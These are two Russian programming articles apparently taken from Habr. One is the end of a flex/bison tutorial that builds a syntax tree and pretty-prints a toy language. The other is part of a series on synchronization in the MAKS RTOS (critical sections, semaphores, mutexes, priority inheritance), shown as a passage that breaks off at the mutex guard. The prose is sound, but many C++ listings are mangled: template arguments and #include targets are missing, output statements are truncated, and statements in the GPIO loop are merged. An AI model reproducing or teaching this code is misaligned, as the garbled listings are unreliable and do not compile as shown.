["] { BEGIN(INITIAL); return STRING; }
[ \t\r\n] ; // whitespace
[-{};()=<>+\*/!,] { return *yytext; }
. yyerror("Invalid character");
%%`
Объявление **%x** определяет *именованное состояние*, в которое лексер переходит не в результате чтения входных символов, а в результате явного вызова `BEGIN(STR)`. Начальное состояние называется `INITIAL`; чтобы вернуться в него, вызываем `BEGIN(INITIAL)`. В результате у нас в лексере есть два разных набора регэкспов: один для основной программы, другой для строковых литералов. На каждой кавычке переключаемся между этими двумя наборами.
Получившийся парсер-пустышка ищет в программе ошибки синтаксиса; и если не находит, то не выводит ничего:
`[tyomitch@home ~]$ **lex jsk.lex**
[tyomitch@home ~]$ **bison -d jsk.y**
[tyomitch@home ~]$ **c++ lex.yy.c jsk.tab.c**
[tyomitch@home ~]$ **./a.out < test.jsk**
[tyomitch@home ~]$ **./a.out**
**{ foo();
bar; }
}**syntax error, line 3`
Синтаксическое дерево
---------------------
Что можно сделать полезного в свёртке правила?
В прошлые разы нам удавалось прямо в свёртках, прямо по ходу разбора, выполнять все необходимые действия (вычислять значение выражения).
Более универсальный подход — строить для входного текста дерево, соответствующее синтаксической структуре текста, и после завершения разбора обрабатывать это дерево. Для получения информации из деревьев есть масса методов, не связанных с компиляцией: от рекурсивных обходов до XPath-запросов.
Определим для каждого типа узла в дереве отдельный класс, и в стеке парсера будем хранить указатели на объекты-узлы. Кроме них, в стеке могут лежать пришедшие от лексера строки, а также «промежуточные результаты», для которых решим не выделять в дереве отдельного узла. В нашем примере, символу `ARGS` не соответствует узел дерева: ссылки на все аргументы функции будем хранить прямо в узле «вызов функции». Иными словами, синтаксическое дерево не обязано соответствовать дереву разбора в точности; имеем право перестраивать его поудобнее. Другой пример несоответствия — что в нашем синтаксическом дереве не будет узла «оператор»; только «список операторов» — возможно, из одного элемента.
`%{
#include
#include
extern int yylineno;
extern int yylex();
void yyerror(char *s) {
std::cerr << s << ", line " << yylineno << std::endl;
exit(1);
}
class oper_t { // abstract
protected: oper_t() {}
public: virtual ~oper_t() {}
};
class expr_t { // abstract
protected: expr_t() {}
public: virtual ~expr_t() {}
};
class block : public oper_t {
std::list ops;
void append(oper\_t\* op) {
block\* b = dynamic\_cast(op);
if(b) {
ops.splice(ops.end(), b->ops, b->ops.begin(), b->ops.end());
delete b;
}
else ops.push\_back(op);
}
public:
block() {}
block(oper\_t\* op) { append(op); }
block(oper\_t\* op1, oper\_t\* op2) { append(op1); append(op2); }
};
class exprop : public oper\_t {
expr\_t\* expr;
public: exprop(expr\_t\* expr) : expr(expr) {}
};
class ifop : public oper\_t {
expr\_t\* cond;
block thenops, elseops;
public: ifop(expr\_t\* cond, oper\_t\* thenops, oper\_t\* elseops) :
cond(cond), thenops(thenops), elseops(elseops) {}
};
class whileop : public oper\_t {
expr\_t\* cond;
block ops;
public: whileop(expr\_t\* cond, oper\_t\* ops) : cond(cond), ops(ops) {}
};
class exitop : public oper\_t {};
class binary : public expr\_t {
const char\* op;
expr\_t \*arg1, \*arg2;
public: binary(const char\* op, expr\_t \*arg1, expr\_t \*arg2) :
op(op), arg1(arg1), arg2(arg2) {}
};
class assign : public expr\_t {
std::string name;
expr\_t\* value;
public: assign(const std::string& name, expr\_t\* value) :
name(name), value(value) {}
};
class unary : public expr\_t {
const char\* op;
expr\_t\* arg;
public: unary(const char\* op, expr\_t\* arg) : op(op), arg(arg) {}
};
class funcall : public expr\_t {
std::string name;
std::list args;
public: funcall(const std::string& name,
const std::list& args) :
name(name), args(args) {}
};
class value : public expr\_t {
std::string text;
public: value(const std::string& text) : text(text) {}
};
// возможные значения символа: строка, оператор, выражение, список аргументов
typedef struct {
std::string str;
oper\_t\* oper;
expr\_t\* expr;
std::list args;
} YYSTYPE;
#define YYSTYPE YYSTYPE
// глобальная замена
std::string replaceAll(const std::string& where, const std::string& what, const std::string& withWhat) {
std::string result = where;
while(1) {
int pos = result.find(what);
if (pos==-1) return result;
result.replace(pos, what.size(), withWhat);
}
}
%}
%token IF ELSE WHILE EXIT
%token EQ LE GE NE
%token STRING NUM ID
%type<str> ID NUM STRING
%type<oper> OPS OP1 OP2 OP
%type<expr> EXPR EXPR1 EXPR2 TERM VAL ARG
%type<args> ARGS
%%
PROGRAM: OPS // обработка дерева программы
;
OPS: OP // inherit
| OPS OP { $$ = new block($1, $2); }
;
OP1: '{' OPS '}' { $$ = $2; }
| EXPR ';' { $$ = new exprop($1); }
| IF '(' EXPR ')' OP1 ELSE OP1 { $$ = new ifop($3, $5, $7); }
| WHILE '(' EXPR ')' OP1 { $$ = new whileop($3, $5); }
| EXIT ';' { $$ = new exitop(); }
;
OP2: IF '(' EXPR ')' OP { $$ = new ifop($3, $5, new block()); }
| IF '(' EXPR ')' OP1 ELSE OP2 { $$ = new ifop($3, $5, $7); }
| WHILE '(' EXPR ')' OP2 { $$ = new whileop($3, $5); }
;
OP: OP1 | OP2 ; // inherit
EXPR: EXPR1 // inherit
| ID '=' EXPR { $$ = new assign($1, $3); }
EXPR1: EXPR2 // inherit
| EXPR1 EQ EXPR2 { $$ = new binary("==", $1, $3); }
| EXPR1 LE EXPR2 { $$ = new binary("<=", $1, $3); }
| EXPR1 GE EXPR2 { $$ = new binary(">=", $1, $3); }
| EXPR1 NE EXPR2 { $$ = new binary("!=", $1, $3); }
| EXPR1 '>' EXPR2 { $$ = new binary(">", $1, $3); }
| EXPR1 '<' EXPR2 { $$ = new binary("<", $1, $3); }
;
EXPR2: TERM // inherit
| EXPR2 '+' TERM { $$ = new binary("+", $1, $3); }
| EXPR2 '-' TERM { $$ = new binary("-", $1, $3); }
;
TERM: VAL // inherit
| TERM '\*' VAL { $$ = new binary("\*", $1, $3); }
| TERM '/' VAL { $$ = new binary("/", $1, $3); }
;
VAL: NUM { $$ = new value($1); }
| '-' VAL { $$ = new unary("-", $2); }
| '!' VAL { $$ = new unary("!", $2); }
| '(' EXPR ')' { $$ = $2; }
| ID { $$ = new value($1); }
| ID '(' ARGS ')' { $$=new funcall($1, $3); }
;
ARGS: { $$.clear(); }
| ARG { $$.clear(); $$.push\_back($1); }
| ARGS ',' ARG { $$ = $1; $$.push\_back($3); }
;
ARG: EXPR // inherit
| STRING { $$=new value('"'+replaceAll($1, "\n", "\\n")+'"'); }
;
%%
int main() { return yyparse(); }`
Объявление `%type` задаёт для символов грамматики (терминалов и нетерминалов), каким из полей `YYSTYPE` следует пользоваться в качестве значения символа. Если поле задано, то бизон будет подставлять его каждый раз, когда **$**-тег относится к такому символу грамматики. Если поле не задано (как в предыдущих примерах), то `YYSTYPE` используется целиком.
В классических сишных парсерах `YYSTYPE` объявляли как `union`: каждый символ по-своему трактует одно и то же хранимое значение. Нам такое не подходит: объект с деструктором не может быть полем `union`; поэтому объявляем `YYSTYPE` как структуру, и ненужные символу поля структуры будут просто занимать зря память. Но мы не жадные.
Неприятный момент — что из-за починки конфликта с `else` в грамматике появилось два одинаковых правила `if..else` и два одинаковых правила `while`. На нашей совести выбрать, что неприятнее: задавать приоритет для `else` и **)**, как будто бы они операторы; или копипастить код свёртки дважды.
Итак, наш парсер строит в памяти дерево, и когда оно готово — просто выходит, даже не освобождая память. Не слишком-то впечатляюще?
Pretty-printing
---------------
Нужно совсем немного усилий, чтобы парсер делал нечто осмысленное; например, расставлял в выражениях скобки, удалял избыточные **{}** и, и вдобавок выравнивал операторы по BSD Kernel Normal Form.
Добавим в наши древесные классы рекурсивную распечатку.
Меняются только определения классов, и свёртка символа `PROGRAM`.
`#define TOKENPASTE(x, y) x ## y
#define TOKENPASTE2(x, y) TOKENPASTE(x, y)
#define foreach(i, list) typedef typeof(list) TOKENPASTE2(T,\_\_LINE\_\_); \
for(TOKENPASTE2(T,\_\_LINE\_\_)::iterator i = list.begin(); i != list.end(); i++)
class oper_t { // abstract
protected: oper_t() {}
public: virtual ~oper_t() {}
**virtual void print(int indent=0) =0;**
};
class expr_t { // abstract
protected: expr_t() {}
public: virtual ~expr_t() {}
**virtual void print() =0;**
};
class block : public oper_t {
std::list ops;
void append(oper\_t\* op) {
block\* b = dynamic\_cast(op);
if(b) {
ops.splice(ops.end(), b->ops, b->ops.begin(), b->ops.end());
delete b;
}
else ops.push\_back(op);
}
public:
block() {}
block(oper\_t\* op) { append(op); }
block(oper\_t\* op1, oper\_t\* op2) { append(op1); append(op2); }
int size() { return ops.size(); }
**virtual void print(int indent=0) {
foreach(i, ops) {
std::cout << std::string(indent, '\t');
(\*i)->print(indent);
}
}
virtual ~block() { foreach(i, ops) delete \*i; }**
};
class exprop : public oper\_t {
expr\_t\* expr;
public: exprop(expr\_t\* expr) : expr(expr) {}
**virtual void print(int indent=0) {
expr->print();
std::cout << ";" << std::endl;
}
virtual ~exprop() { delete expr; }**
};
class ifop : public oper\_t {
expr\_t\* cond;
block thenops, elseops;
public: ifop(expr\_t\* cond, oper\_t\* thenops, oper\_t\* elseops) :
cond(cond), thenops(thenops), elseops(elseops) {}
**virtual void print(int indent=0) {
std::cout << "if "; cond->print(); std::cout << " {" << std::endl;
thenops.print(indent+1);
if (elseops.size()) {
std::cout << std::string(indent, '\t') << "} else {" << std::endl;
elseops.print(indent+1);
}
std::cout << std::string(indent, '\t') << "}" << std::endl;
}
virtual ~ifop() { delete cond; }**
};
class whileop : public oper\_t {
expr\_t\* cond;
block ops;
public: whileop(expr\_t\* cond, oper\_t\* ops) : cond(cond), ops(ops) {}
**virtual void print(int indent=0) {
std::cout << "while "; cond->print(); std::cout << " {" << std::endl;
ops.print(indent+1);
std::cout << std::string(indent, '\t') << "}" << std::endl;
}
virtual ~whileop() { delete cond; }**
};
class exitop : public oper\_t {
**virtual void print(int indent=0) { std::cout << "exit;" << std::endl; }**
};
class binary : public expr\_t {
const char\* op;
expr\_t \*arg1, \*arg2;
public: binary(const char\* op, expr\_t \*arg1, expr\_t \*arg2) :
op(op), arg1(arg1), arg2(arg2) {}
**virtual void print() {
std::cout<<"(";
arg1->print();
std::cout<
arg2->print();
std::cout<<")";
}
virtual ~binary() { delete arg1; delete arg2; }**
};
class assign : public expr\_t {
std::string name;
expr\_t\* value;
public: assign(const std::string& name, expr\_t\* value) :
name(name), value(value) {}
**virtual void print() { std::cout<" = "; value->print(); }
virtual ~assign() { delete value; }**
};
class unary : public expr\_t {
const char\* op;
expr\_t\* arg;
public: unary(const char\* op, expr\_t\* arg) : op(op), arg(arg) {}
**virtual void print() { std::cout<print(); }
virtual ~unary() { delete arg; }**
};
class funcall : public expr\_t {
std::string name;
std::list args;
public: funcall(const std::string& name,
const std::list& args) :
name(name), args(args) {}
**virtual void print() {
std::cout<"(";
foreach(i,args) {
if (i!=args.begin())
std::cout<<", ";
(\*i)->print();
}
std::cout<<")";
}
virtual ~funcall() { foreach(i,args) delete \*i; }**
};
class value : public expr\_t {
std::string text;
public: value(const std::string& text) : text(text) {}
**virtual void print() { std::cout<
};
PROGRAM: OPS { **$1->print(); delete $1;** }
;**`
Проверяем, что получилось:
`[tyomitch@home ~]$ **lex jsk.lex**
[tyomitch@home ~]$ **bison -d jsk.y**
[tyomitch@home ~]$ **c++ jsk.tab.c lex.yy.c**
[tyomitch@home ~]$ **./a.out < test.jsk**
from = 0;
to = 1000;
echo("Задумай число от ", from, " до ", to, ", а я буду угадывать\n");
while (from <= to) {
guess = ((from + to) / 2);
echo("Это ", guess, "? (1=меньше, 2=больше, 3=попал) ");
i = input();
if (i == 1) {
to = (guess - 1);
} else {
if (i == 2) {
from = (guess + 1);
} else {
if (i == 3) {
echo("Ура! Я молодец!\n");
exit;
} else {
echo("Я ничего не понял!\n");
}
}
}
}
echo("Врёшь, так не бывает!\n");`
Форматированная распечатка входного текста — общепринятый способ первоначальной проверки парсера. Пример кода из начала поста не слишком удачный в этом плане, т.к. покрывает далеко не все языковые конструкции. Но он и предназначен для иллюстрации языка, а не для тестирования.
Понятно, что ради одного лишь форматирования текста не было смысла заморачиваться с деревьями: достаточно было бы хранить в стеке для каждого оператора список текстовых строк, и в свёртках сливать эти строки, добавляя отступы. Да что там, ради отступов не нужно даже бизона: и flex бы справился. (Хотя расстановка скобок — это немного интереснее.)
В следующий раз [отдохнём от бизона](http://habrahabr.ru/blogs/programming/99466/). | https://habr.com/ru/post/99397/ | null | ru | null |
# Обзор одной российской RTOS, часть 6. Средства синхронизации потоков
К сожалению, при разработке реальных многопоточных приложений, невозможно просто написать код всех задач, подключить их к планировщику и просто запустить на исполнение.
Начнём с банальности — если задач много, то они начнут впустую тратить процессорное время на исполнение в холостых циклах. Как уже отмечалось в предыдущих публикациях, все задачи, которым в настоящий момент нечего делать (не пришли данные от аппаратуры или по прочим организационным причинам) должны быть заблокированы. На исполнение следует ставить только те задачи, которым сейчас есть что делать, так как процессорных тактов микроконтроллерам вечно не хватает.
Далее, задачи могут конфликтовать друг с другом за те или иные ресурсы (в частности, за оборудование). При рассмотрении типов многозадачности, мы уже рассматривали типовые случаи конфликтов за порт SPI (частично решаемое переходом на кооперативную многозадачность, но на неё перейти можно не всегда).
И самый страшный случай — зависимость задач. Часто результат работы одной задачи используется в другой. Из очевидных примеров, можно упомянуть следующие: бесполезно пересчитывать данные для выхода PID регулятора температуры, пока не получено и не усреднено достаточно данных с термодатчика, нет смысла менять воздействие на скорость двигателя, пока не получены сведения о текущем периоде его вращения, незачем обрабатывать строку символов с терминала, пока не получено терминирующего символа (признака конца строки). А кроме очевидных, есть масса неочевидных случаев зависимостей и порождаемых ими гонок. Иногда у начинающего разработчика больше времени уходит именно на борьбу с гонками, чем непосредственно на реализацию алгоритмов работы программы.
Во всех этих случаях, на помощь разработчику приходят синхронизирующие объекты. Давайте в текущей публикации рассмотрим, какие синхронизирующие объекты и функции имеются в ОСРВ МАКС.
Для тех, кто ещё не видел предыдущие части, ссылки:
[Часть 1. Общие сведения](https://habrahabr.ru/post/336308/)
[Часть 2. Ядро ОСРВ МАКС](https://habrahabr.ru/post/336696/)
[Часть 3. Структура простейшей программы](https://habrahabr.ru/post/336944/)
[Часть 4. Полезная теория](https://habrahabr.ru/post/337476/)
[Часть 5. Первое приложение](https://habrahabr.ru/post/337974/)
Часть 6. Средства синхронизации потоков (настоящая статья)
[Часть 7. Средства обмена данными между задачами](https://habrahabr.ru/post/339498/)
[Часть 8. Работа с прерываниями](https://habrahabr.ru/post/340032/)
Критическая секция
------------------
Для разминки, рассмотрим класс CriticalSection. Он применяется для обрамления участков, на которых недопустимо переключение контекста.
Как только объект класса появляется в области видимости, блокируются все прерывания с приоритетом MAX\_SYSCALL\_INTERRUPT\_PRIORITY или ниже. На сегодня эта константа равна пяти, что блокирует все прерывания от устройств и от системного таймера, но не блокирует исключительные ситуации.
Когда объект выходит из области видимости, уровень прерываний восстанавливается такой, какой был до входа. Последнее позволяет не заботиться о том, что получатся вложенные критические секции — реально сработает только первая. Все, кроме внешней — будут выполнять ненужную работу. Сначала заменять высокий уровень разрешённых прерываний на него же самого, а при выходе — восстанавливать исходный — всё тот же исходно высокий. Выход же из самой внешней из вложенных критических секций, восстановит низкий уровень. Само собой, вложенность чаще всего получается, когда вызвана какая-то функция, в которой также есть критическая секция.
**Так как критическая секция изменяет приоритеты прерываний, то есть, программирует NVIC, она должна использоваться только в коде, работающем в привилегированном режиме.**
Рассмотрим пример (участок, выделенный розовым, защищён критической секцией, здесь гарантируется, что управление у задачи не будет забрано)
**То же самое - текстом**
```
void ProfEye::Tune()
{
ProfData::m_empty_call_overhead = 0;
ProfData::m_empty_constr_overhead = 0;
ProfData::m_embrace_overhead = 0;
CriticalSection _cs_;
loop ( int, i, 1000 ) {
PROF_DECL(PE_EMPTY_CALL, empty_call);
PROF_START(empty_call);
PROF_STOP(empty_call);
{ PROF_EYE(PE_EMBRACE, _embrace_);
{ PROF_EYE(PE_EMPTY_CONSTR, _empty_constr_);
}
}
}
ProfData::m_empty_call_overhead = prof_data[PE_EMPTY_CALL].TimeAvg();
ProfData::m_empty_constr_overhead = prof_data[PE_EMPTY_CONSTR].TimeAvg();
ProfData::m_embrace_overhead = prof_data[PE_EMBRACE].TimeAvg() + ProfData::ADJUSTMENT - 2 * ProfData::m_empty_constr_overhead;
}
```
Разумеется, область видимости объекта всегда можно ограничить фигурными скобками.
**Текстом**
```
ProfEye::ProfEye(PROF_EYE eye, bool run)
{
m_eye = eye;
m_lost = 0;
m_run = false;
if ( run ) {
{ CriticalSection _cs_;
prof_data[m_eye].Lock(true);
m_up_eye = m_cur_eye;
m_cur_eye = this;
}
Start();
} else
m_up_eye = nullptr;
}
```
Что подлежит включению в критическую секцию? Ну, например, операции, где требуется атомарно изменить несколько переменных (пример выше как раз и занимается этим). Различные списки и прочие вещи, где одна задача читает, а вторая — пишет, вполне могут требовать атомарного доступа.
Но существуют и менее очевидные вещи. Пусть имеется некий счётчик, который в одной задаче увеличивается, а в другой — уменьшается. Казалось бы, вполне себе атомарная операция
cnt++;
Но атомарная она на уровне языка высокого уровня. На уровне ассемблера, она распадается на операции чтение-модификация-запись
`26: cnt++;
0x08004818 6B60 LDR r0,[r4,#0x34]
0x0800481A 1C40 ADDS r0,r0,#1
0x0800481C 6360 STR r0,[r4,#0x34]`
Допустим, значение (для верности, скажем 10) уже попало в регистр r0, после чего планировщик передаст управление другой задаче. Она также считает значение 10 и уменьшит его, положив 9. Затем, когда управление вернётся текущей задаче, она прибавит единицу не к переменной, а к тому, что уже попало в регистр r0 — к десятке. Получится 11. Значение счётчика окажется искажено.
Вот как раз для защиты от таких ситуаций, вполне подойдёт критическая секция.
```
{
CriticalSection cs;
cnt++
}
```
Хотя, конечно, накладные расходы на работу с NVIC также следует держать в уме, так как получится не три, а намного больше команд ассемблера
`27: CriticalSection cs;
0x0800481A 4668 MOV r0,sp
0x0800481C F7FEFCE8 BL.W _ZN4maks15CriticalSectionC2Ev (0x080031F0)
28: cnt++;
0x08004820 6B60 LDR r0,[r4,#0x34]
0x08004822 1C40 ADDS r0,r0,#1
29: }
0x08004824 6360 STR r0,[r4,#0x34]
0x08004826 4668 MOV r0,sp
0x08004828 F7FEFDA0 BL.W _ZN4maks19InterruptMaskSetterD2Ev (0x0800336C)`
Это не считая содержимого системных подпрограмм… Приведём только первую, чтобы читатель представлял её сложность
`0x080031F0 B510 PUSH {r4,lr}
0x080031F2 2150 MOVS r1,#0x50
0x080031F4 F000F8AE BL.W _ZN4maks19InterruptMaskSetterC2Ej (0x08003354)
0x080031F8 4901 LDR r1,[pc,#4] ; @0x08003200
0x080031FA 6001 STR r1,[r0,#0x00]
0x080031FC BD10 POP {r4,pc}`
Как видно — это ещё не максимальная вложенность… С другой стороны, это — всё равно меньшее из зол. Просто не стоит увлекаться частыми входами и выходами из критической секции.
Критическая секция — очень мощный, но потенциально опасный инструмент, ведь пока она не выйдет из области видимости — многозадачность отключается. В идеале, блокировку следует выполнять только на несколько строк. Наличие цикла может существенно увеличить время задержки, вход в функции — и подавно (если программист слабо представляет себе время нахождения в этих функциях), а уж работа с некоторыми видами оборудования — совсем потенциально опасная вещь. Пусть программист решил гарантировать себе отсутствие переключения контекста на время передачи двух байтов по шине SPI с частотой 10 МГц. Один бит имеет период 100 нс. 16 бит — 1,6 мкс. Это вполне приемлемый результат. Следующая задача потеряет не более этого участка (в целом, это сопоставимо со временем работы планировщика). Но если передавать по UART строку из 20 символов на скорости 250 килобит в секунду, то это займёт уже 20 \* 10 \* 4 мкс = 0.8 мс. То есть, начнись процесс ближе к концу кванта времени задачи, он «съест» почти весь квант следующей задачи.
В общем, механизм критических секций — достаточно мощный, но программист, использующий его, несёт всю ответственность за обеспечение работы системы в реальном времени.
**Опять же, не стоит усыплять задачу, находящуюся в критической секции, пользуясь функциями, ждущими другие ресурсы.**
Рассмотрим простейший пример. Уже известная задача, изменяющая состояние порта, периодически вызывающая функцию задержки с блокировкой:
```
virtual void Execute()
{
while (true)
{
GPIOE->BSRR = (1<BSRR = (1<<(nBit+16));
Delay (5);
}
}
```
Даёт нормальный меандр:
Добавляем критическую секцию
**Текстом**
```
virtual void Execute()
{
CriticalSection cs;
while (true)
{
GPIOE->BSRR = (1<BSRR = (1<<(nBit+16));
Delay (5);
}
}
```
Получаем совершенно иной сигнал
Увеличиваем масштаб — период сигнала совершенно неверен…
В общем, критическая секция — мощное средство, но пользоваться им следует только, отдавая себе отчёт в своих действиях (или, хотя бы, контролируя каждый свой шаг).
Как-то затянулась разминка. Простейшая вещь растеклась на кучу листов. Что ж, переходим к чуть более сложной по логике, но зато требующей меньше текста, вещи — двоичному семафору.
Двоичный Семафор
----------------
Давным-давно, на железной дороге активно использовались семафоры. Они имели два состояния: поднят — поезд может двигаться. Опущен — поезд должен ждать. Ну, а поднимал и опускал его диспетчер. Вот и здесь, какая-то задача (или задачи) дёргает за верёвочку (выполняя роль диспетчера), а какая-то задача (или задачи) — ждут, когда путь будет открыт. При этом, ожидающие задачи заблокированы, то есть — не расходуют кванты времени.
Такой семафор реализуется классом BinarySemaphore.
Конструктор класса содержит обязательный аргумент, задающий начальное состояние семафора
**explicit BinarySemaphore(bool is\_empty = true)**
Дальше мы рассмотрим только функции двоичного семафора (дело в том, что он является наследником простого семафора, и всю его функциональность мы рассмотрим ниже).
Задачи, которым следует пройти через семафор, должны вызвать функцию **Wait()**. Аргументом этой функции является время таймаута в миллисекундах. Если за заданное время задача была разблокирована, функция вернёт значение **ResultOk**. Соответственно, если наступил таймаут, результат функции будет равен **ResultTimeout**. Когда функция должна ждать «до упора», следует передать значение таймаута, равное **INFINITE\_TIMEOUT**.
Если функция вызывается с нулевым значением таймаута, то она вернёт управление мгновенно, но по результату (**ResultOk** или **ResultTimeout**) будет ясно, был семафор открыт или закрыт.
При вызове из прерывания, блокировка задачи невозможна, поэтому с любым таймаутом, отличным от нуля, результат функции будет равен **ResultErrorInterruptNotSupported**. Однако, с нулевым таймаутом функцию можно вызывать и из прерывания.
Если функция вернула результат **ResultOk**, семафор автоматически закроется.
Как уже отмечалось, ждать семафора может сразу несколько задач. В этом случае, выбор «счастливчика», которого пропустят первым, будет осуществляться следующим образом: Задачи в списке ожидания следуют в порядке уменьшения приоритета, а при одинаковом приоритете — в порядке вызова функции **Wait()**.
Для того, чтобы открыть семафор, используется функция **Signal()**. Если семафор уже открыт, она вернёт результат **ResultErrorInvalidState**, иначе — **ResultOk**. Функция не может вызываться из прерывания с приоритетом выше, чем MAX\_SYSCALL\_INTERRUPT\_PRIORITY.
Семафор
-------
Честно говоря, мне категорически не нравится это название. Правильнее было бы назвать этот объект синхронизации «Завхоз», но против традиций не попрёшь. Везде он называется семафором, ОСРВ МАКС не является исключением. Отличие простого семафора (или завхоза) от двоичного состоит в том, что он может считать (класть ресурсы на склад). Есть хотя бы один ресурс — задача может проходить (при этом число ресурсов уменьшается). Нет ресурсов — задача будет ждать появления хотя бы одного.
Такие семафоры пригождаются, когда необходимо распределять какие-либо ресурсы. Я, например, заводил 4 буфера для выдачи данных в USB (эта шина работает не с байтами, а с массивами байтов, поэтому удобнее всего готовить данные именно в буферах). Соответственно, рабочая задача может определить, есть ли свободные буфера. Если есть — заполнить их. Нет — ждать, пока, работающий с USB перешлёт и освободит хотя бы один. В общем, если где-то выделяется не один, а несколько ресурсов — их распределение удобнее всего поручить завхозу (или, согласно традиционному именованию — семафору).
Соответственно, этот объект реализуется в классе Semaphore. Рассмотрим его отличие от двоичного семафора. Во-первых, у него чуть иной конструктор
**Semaphore(size\_t start\_count, size\_t max\_count)**
Первый параметр — сколько вещей исходно положить в ящик, второй — какова размерность этого ящика. Иногда полезно при начале работы объявить полное отсутствие ресурсов, а затем — добавлять их (вызывая, как мы помним, функцию **Signal()**). Иногда — наоборот, исходно ресурсы загружены по максимуму, а дальше — они расходуются. Возможны и иные варианты с неполной начальной загрузкой, но это уже читатели сами придумают, когда такое нужно.
Функция **Signal()**, соответственно, увеличивает счётчик ресурсов. Если он дошёл до максимума — она вернёт **ResultErrorInvalidState**. Ещё раз напомним, что функция не может вызываться из прерываний с приоритетом выше, чем MAX\_SYSCALL\_INTERRUPT\_PRIORITY.
Функция **Wait()** пропустит задачу, если число ресурсов не равно нулю, при этом, уменьшив счётчик. А если ресурсов нет — задача будет заблокирована, пока их не вернут через функцию Signal(). Ещё раз напомним, что из прерывания эту функцию можно вызывать только с нулевым таймаутом.
Теперь рассмотрим функции, которые не имели смысла в двоичном случае.
**GetCurrentCount()** вернёт текущее значение счётчика ресурсов
**GetMaxCount()** вернёт максимально возможное значение счётчика (если семафор создавала другая задача — может быть полезно, чтобы определиться с его характеристиками)
Мьютекс
-------
Название этого объекта произошло от слов **Mut**ualy **Ex**clusive. То есть, с его помощью система предоставляет взаимоисключающий доступ к одному ресурсу. Если в семафорах одни задачи ожидали разршения, а другие — открывали семафор, то в этом случае — все пытаются ресурс захватить, а предоставляет его сама система.
Коротко суть мьютекса можно пояснить фразой «Кто первый встал — того и тапки». Есть защищаемый объект — «тапки». Муж проснулся, запросил их — система отдала их ему в безраздельное пользование. Жена и сын запросили — их заблокировали. Как только муж вернул тапки в систему — их получила жена. Вернула она — получил сын. Вернул он — объект перешёл в свободное состояние, следующий запросивший, получит их снова без ожидания.
В микроконтроллерах замечательным ресурсом, который надо защищать таким способом, является порт (SPI, I2C и т.п.), если через него пытается работать несколько задач. Мы уже рассматривали, что к одному физическому каналу может быть подключено несколько разнородных устройств, например, в классическом телевизоре: на одной шине I2C могут быть видеопроцессор, аудиопроцессор, процессор телетекста, тюнер — они вполне могут обслуживаться разными задачами. Зачем тратить процессорное время, ожидая сброса бита BSY? Тем более, что всё равно, возможны коллизии. Рассмотрим работу трёх задач, исключительно анализирующих бит BSY порта, исполняя их по шагам:
Как видно, на шаге 7 сразу две задачи пытаются управлять шиной. Если бы та была защищена мьютексом, этого бы не произошло. Кроме того, на условном шаге 1 (на самом деле, это масса шагов, где заблокирована то задача 2, то задача 3) задачи впустую тратили кванты времени. Мьютекс решает и эту проблему — все ждущие задачи блокируются.
Иногда может получиться так, что разработчик слишком увлёкся мьютексами, и задача может захватить мьютекс несколько раз. Разумеется, скорее всего, это будет происходить во вложенных функциях. Функция 1 захватывает мьютекс, потом управление передаётся в функцию 2, оттуда — в функцию 3, оттуда — в функцию 4 (написанную год назад), которая также пытается захватить этот же мьютекс. Чтобы не возникло блокировки, в таких случаях следует создавать рекурсивные мьютексы. Одна задача сможет их захватывать многократно. Важно лишь освободить столько же раз, сколько он был захвачен. В ОС Windows все мьютексы являются рекурсивными, но такой подход на слабых микроконтроллерах привёл бы к неоправданному расходованию ресурсов, поэтому по умолчанию, в ОСРВ МАКС мьютексы рекурсивными не являются.
Рассмотрим основные функции класса Mutex. В первую очередь — его конструктор
**Mutex(boolrecursive = false);**
Аргумент конструктора определяет тип — рекурсивный или нет.
Функция **Lock()** захватывает мьютекс. В качестве аргумента передаётся значение таймаута. Как всегда, можно задать особые значения — нулевой таймаут (мгновенный выход без ожидания) или значение **INFINITE\_TIMEOUT** (ждать до победы). Если мьютекс удалось захватить, будет возвращён результат ResultOk. При истечении таймаута, вернётся результат ResultTimeout. При попытке захвата нерекурсивного мьютекса, результат будет **ResultErrorInvalidState**. Мьютекс нельзя захватывать в прерывании. Если попытаться это сделать, результат будет **ResultErrorInterruptNotSupported**.
Функция **Unlock()** — освобождает мьютекс. Соответственно, она должна вызываться по окончании исполнения защищаемой секции.
Функция **IsLocked()** позволяет определить, захвачен мьютекс или свободен, не захватывая его. При вытесняющей многозадачности результат может потерять актуальность ещё до того, как будет проанализирован, но при кооперативной многозадачности, эта функция вполне может пригодиться.
Теперь стоит рассказать про такую вещь, как наследование приоритетов. Допустим, в системе имеются задачи A с нормальным приоритетом, B с повышенным приоритетом и C с высоким приоритетом. Предположим, что задачи B и C были заблокированы, а A в это время успела захватить мьютекс. Нарисуем это графически, расположив задачи друг над другом (чем выше приоритет, тем выше задача на рисунке)
Теперь задача C разблокировалась. Само собой, имея наивысший приоритет, она начала исполняться. И допустим, она тоже собирается захватить тот же самый мьютекс
Но мьютекс находится во владении задачи A! По штатной логике, раз он занят, задача C блокируется до его освобождения. И вдруг неожиданно разблокировалась задача B (пусть она ждала какой-то другой ресурс, и тот освободился). Так как её приоритет выше, чем у A, то исполняться будет именно она (то есть, задача B)
Что мы имеем? Высокоприоритетная задача C не может исполняться, так как она ждёт освобождения мьютекса. А дождаться она не может, так как его текущий владелец вытеснен более высокоприоритетной задачей относительно владельца мьютекса, но более низкоприоритетной — относительно несправедливо заблокированной задачи.
Чтобы этого не произошло, владельцу мьютекса на время владения назначается приоритет самой высокой задачи из тех, что сейчас его ожидают. Такой механизм (наследрвание приоритетов) позволяет приблизить момент освобождения мьютекса.
Этот факт крайнее важно помнить, так как если задача A взаимодействует также с какой-либо задачей E, также имеющей нормальный приоритет, на время наследования приоритета, она это взаимодействие утеряет. Увы, с этим ничего сделать невозможно (в рамках стандартной концепции ОСРВ), это следует просто учитывать при проектировании программ.
Мьютекс-страж
-------------
Классическое алгоритмическое программирование подразумевает один вход и один выход в любом алгоритме. Однако, практика такова, что фанатичное обеспечение этого принципа приводит к неоправданному усложнению текста и снижению читаемости. Давайте рассмотрим следующий псевдокод:
```
m_mutex.Lock();
switch (cond)
{
case 0x00:
....
return ResultCode1;
case 0x02:
....
return ResultCode2;
case 0x0a:
....
return ResultCode3;
case 0x15:
....
return ResultCode4;
}
....
m_mutex.Unlock();
```
Вообще-то, здесь перед каждым выходом из функции, следует методично расставить mutex.Unlock(). А таких участков в большом алгоритме может быть много. И они могут добавляться. Рано или поздно, программист где-нибудь забудет разблокировать мьютекс, и программа «зависнет». И это — при том, что человечество ночей не спало, изобретало ООП в целом и деструкторы классов в частности!
Мьютиекс-страж как раз занимается тем, что использует деструкторы. У этого класса в интерфейсной части нет ничего, кроме конструктора. Скопируем его описание из Руководства Программиста:
